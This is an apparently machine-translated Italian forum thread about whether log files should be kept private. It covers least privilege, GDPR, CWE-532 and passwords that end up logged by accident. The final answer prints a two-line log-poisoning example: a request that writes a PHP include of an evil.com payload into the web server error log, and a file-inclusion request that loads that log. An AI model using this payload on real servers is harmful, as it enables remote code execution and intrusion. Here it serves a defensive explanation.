I file di registro dovrebbero essere tenuti segreti?

Qui ci sono chiaramente 2 diverse linee di difesa.

In primo luogo, i dati altamente sensibili (segreti, in genere le password) non dovrebbero mai essere registrati per evitare compromessi attraverso i registri.

Ma più un hacker conosce un sistema, maggiore è il rischio di costruire / utilizzare un attacco mirato. Ad esempio, le versioni del software non sono molto sensibili e possono ragionevolmente alimentare un log, ma possono aiutare a scegliere un vettore di attacco.

Quindi la seconda linea di difesa è che qualcuno che non ha bisogno di accedere ai log non dovrebbe essere in grado di leggerli. Questa è un'applicazione diretta della regola dei privilegi minimi.

È comune fornire l'accesso al log al team di sviluppo / manutenzione, ma tu dovrebbe valutare il rapporto rischio / guadagno, in base ai tuoi strumenti di sicurezza di accesso. Il sistema più sicuro è quello a cui non è possibile accedere da nessun utente, ma la sua utilizzabilità è molto bassa ...

L'accesso ai dati di log non elaborati deve essere limitato agli utenti autorizzati.

Il semplice motivo è che anche quando condizioni operative normali le tue applicazioni potrebbero dovrebbero non registrare alcun dato troppo sensibile all'esposizione ( e opinioni / regolamenti su ciò che è esattamente potrebbe differire) quasi certamente verrà un momento in cui i registri contengono dati sensibili:

• A meno che tu non abbia molta familiarità con le tue applicazioni, non sai in anticipo quali dettagli verranno registrati quando l'applicazione genera errori o eccezioni.
  La maggior parte delle applicazioni è progettata per limitare la quantità di dettagli nei messaggi di errore che presentano agli utenti finali ma registra (molto) più dettagli nei loro registri per aiutare amministratori e sviluppatori a risolvere la causa di tali errori ed eccezioni.

• Potrebbe essere necessario aumentare la verbosità del registro per la risoluzione dei problemi a un livello tale che i registri conterranno dettagli sensibili che normalmente verrebbero eliminati.

• Come commentavano le persone: le persone che immettono password per i nomi di accesso e gli sviluppatori che usano il metodo GET piuttosto che POST e una miriade di errori umani simili possono risultare in campi altrimenti molto più innocui in eventi di registro che vengono "inquinati" con dati sensibili .

Esistono prodotti che consentono di concedere agli utenti autenticati l'accesso basato sul Web e impostare gli ACL su solo report aggregati, dati di log igienizzati / filtrati e / o su tutti gli eventi di registro non elaborati come Splunk, Kibana e simili.

E anche se l'accesso ai dati di registro grezzi dovrebbe essere limitato, puoi ancora decidere di pubblicare più pubblicamente un sottoinsieme igienizzato dei tuoi registri o i rapporti che verrebbero generati in base ai log, ossia pubblicare un rapporto sull'utilizzo e statistiche dei visitatori piuttosto che il log di accesso grezzo

Ha più punti di vista:

1) Non nascondendo i log, esponi la tua infrastruttura.

2) L'UE ha un GDPR. L'esposizione di IP, nomi, e-mail o qualsiasi cosa personale è proibita. (e almeno immorale e cattivo comportamento) gdpr-info.eu/art-32-gdpr

Se è necessario mostrare i dati registrati a terzi o uno strumento dedicato per l'accesso facile da utilizzare. Nel mio ufficio è per esempio la tomba. Puoi facilmente raccogliere i registri, archiviarli e controllarne l'accesso.

Le vulnerabilità che possono derivare dai tipi di informazioni scritte sui file di registro sono elencate come CWE-532 nel database di Enumeration Common Weakness.

Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information.

Anche la questione delle informazioni protette e identificabili personalmente è abbastanza rilevante, come indicato nella risposta di @ KOLEGA sopra.

Anche se non si registrano intenzionalmente informazioni riservate, a volte può essere registrato inavvertitamente.

Ad esempio, supponiamo di registrare il nome utente degli accessi non riusciti. A volte le persone digitano accidentalmente la propria password nel campo del nome utente, che verrà quindi registrato.

È meglio trattare i registri come potenzialmente contenenti informazioni che dovrebbero essere protette, anche se normalmente non lo considerano sensibile.

I file di registro dovrebbero essere collocati in una posizione sicura per impostazione predefinita in generale. I file di registro possono contenere indirizzo IP, e-mail e informazioni protette dalla legge. Quindi la mia raccomandazione è di mantenere sempre i file di registro in un luogo sicuro. D'altra parte, in alcuni casi questi file di registro sono utilizzati per scopi forensi e se possibile dovresti proteggerli, questo dipende un po 'dal tuo sistema.

Come ha detto Serge Ballesta, le informazioni sensibili (nomi utente, password, ecc.) non dovrebbero mai essere inserite in un file di registro.

Il principale problema di sicurezza reale che deriva dal disporre di file di registro accessibili al pubblico deriva dall'acquisizione di informazioni sul sistema, soprattutto se si utilizza software disponibile pubblicamente (non sviluppato per quel sistema unico). / p>

Se sto tentando di accedere al tuo sistema, una cosa che potrei controllare FIRST sono i tuoi file di registro. Se sono in grado di discernere quale software è in esecuzione il tuo sistema, e ancora più importante, quale VERSIONE di quel software è in uso, posso restringere drasticamente la mia ricerca di exploit. Forse non hai aggiornato il tuo software alla versione più recente, c'è un bug nella vecchia versione che mi permette di usare SQL injection, e c'è una riga nel tuo log che indica l'attuale versione del software in uso.

Si tratta dello stesso livello di rischio per la sicurezza rispetto all'utilizzo del codice open source. Semplicemente rende tad più facile per un utente malintenzionato trovare gli exploit. Spunti di riflessione.

Alcune buone risposte qui - ma non complete.

Sì, potenzialmente i tuoi file di log potrebbero contenere dati sensibili, quindi i dati dovrebbero essere esplicitamente limitati agli utenti autorizzati ad accedervi. Purtroppo la mia esperienza è che la maggior parte delle organizzazioni che implementano questo tipo di controllo, sbagliano grossolanamente il numero di persone che dovrebbero essere autorizzate.

Ma un altro punto importante è che gli utenti controllano molti dei dati che successivamente appaiono nei file di registro. A seconda dell'architettura di sistema dell'applicazione, questo può fornire un meccanismo per sfruttare una vulnerabilità di inclusione locale dei file in un completo exploit. Prendere in considerazione:

 GET /nonesuch%3C%3Finclude%20'http://evil.com/attack';%3F%3E
 GET /vulnerable.php?file=/var/log/httpd/error_log

Questo potrebbe essere attenuato dal modo in cui il tuo server web gestisce la codifica della richiesta in ingresso e quando scrive su file di log (ma è completamente a prova d'acqua?). Se si consente al server Web di accedere alla posizione del file di registro direttamente tramite un URL, il meccanismo di escalation è leggermente diverso.

(Si noti che nell'esempio precedente, se è possibile richiamare un inclusivo remoto, allora sarà probabilmente possibile attraverso tutto il codice, quindi persistere che l'exploit nel file di registro sia ridondante, ma questo è solo a scopo illustrativo possono essere scritti exploit più complessi